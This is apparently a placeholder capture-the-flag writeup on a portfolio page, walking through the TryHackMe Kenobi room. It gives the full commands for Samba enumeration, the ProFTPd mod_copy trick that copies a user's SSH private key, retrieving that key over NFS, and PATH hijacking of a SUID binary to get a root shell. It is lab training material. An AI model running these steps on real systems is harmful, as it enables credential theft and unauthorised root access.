Back to projects

TryHackMe Writeup: Kenobi

·
TryHackMe CTF Linux Privilege Escalation
· View on GitHub

Room Info

  • Platform: TryHackMe
  • Room: Kenobi
  • Difficulty: Easy
  • Topics: Samba, ProFTPd, SUID exploitation

Reconnaissance

Started with an Nmap scan to identify open ports and services:

nmap -sC -sV -oN nmap/kenobi 10.10.x.x

Discovered the following open ports:

  • 21 — ProFTPd 1.3.5
  • 22 — OpenSSH 7.2p2
  • 80 — Apache 2.4.18
  • 139/445 — Samba smbd 4.3.11

Enumeration

Samba Shares

smbclient -L //10.10.x.x/ -N
smbget -R smb://10.10.x.x/anonymous

Found a log.txt file on the anonymous share revealing the ProFTPd configuration and an SSH key path.

ProFTPd

The version 1.3.5 is vulnerable to mod_copy — allowing unauthenticated file copy on the server.

Exploitation

Used the ProFTPd mod_copy module to copy the SSH private key to an accessible location:

nc 10.10.x.x 21
SITE CPFR /home/kenobi/.ssh/id_rsa
SITE CPTO /var/tmp/id_rsa

Then mounted the /var NFS share and retrieved the key:

sudo mount 10.10.x.x:/var /mnt/kenobi
cp /mnt/kenobi/tmp/id_rsa .
chmod 600 id_rsa
ssh -i id_rsa kenobi@10.10.x.x

Privilege Escalation

Found a SUID binary with unusual permissions:

find / -perm -u=s -type f 2>/dev/null

The /usr/bin/menu binary was interesting — it called curl without an absolute path. Exploited via PATH manipulation:

echo '/bin/bash' > /tmp/curl
chmod +x /tmp/curl
export PATH=/tmp:$PATH
/usr/bin/menu

Selected option 1 and got a root shell. 🎉

Key Learnings

  • Samba enumeration and anonymous share access
  • Exploiting known service vulnerabilities (mod_copy)
  • NFS mount enumeration and file retrieval
  • SUID binary analysis and PATH hijacking

⚠️ PLACEHOLDER WRITEUP — Replace with your actual CTF writeups.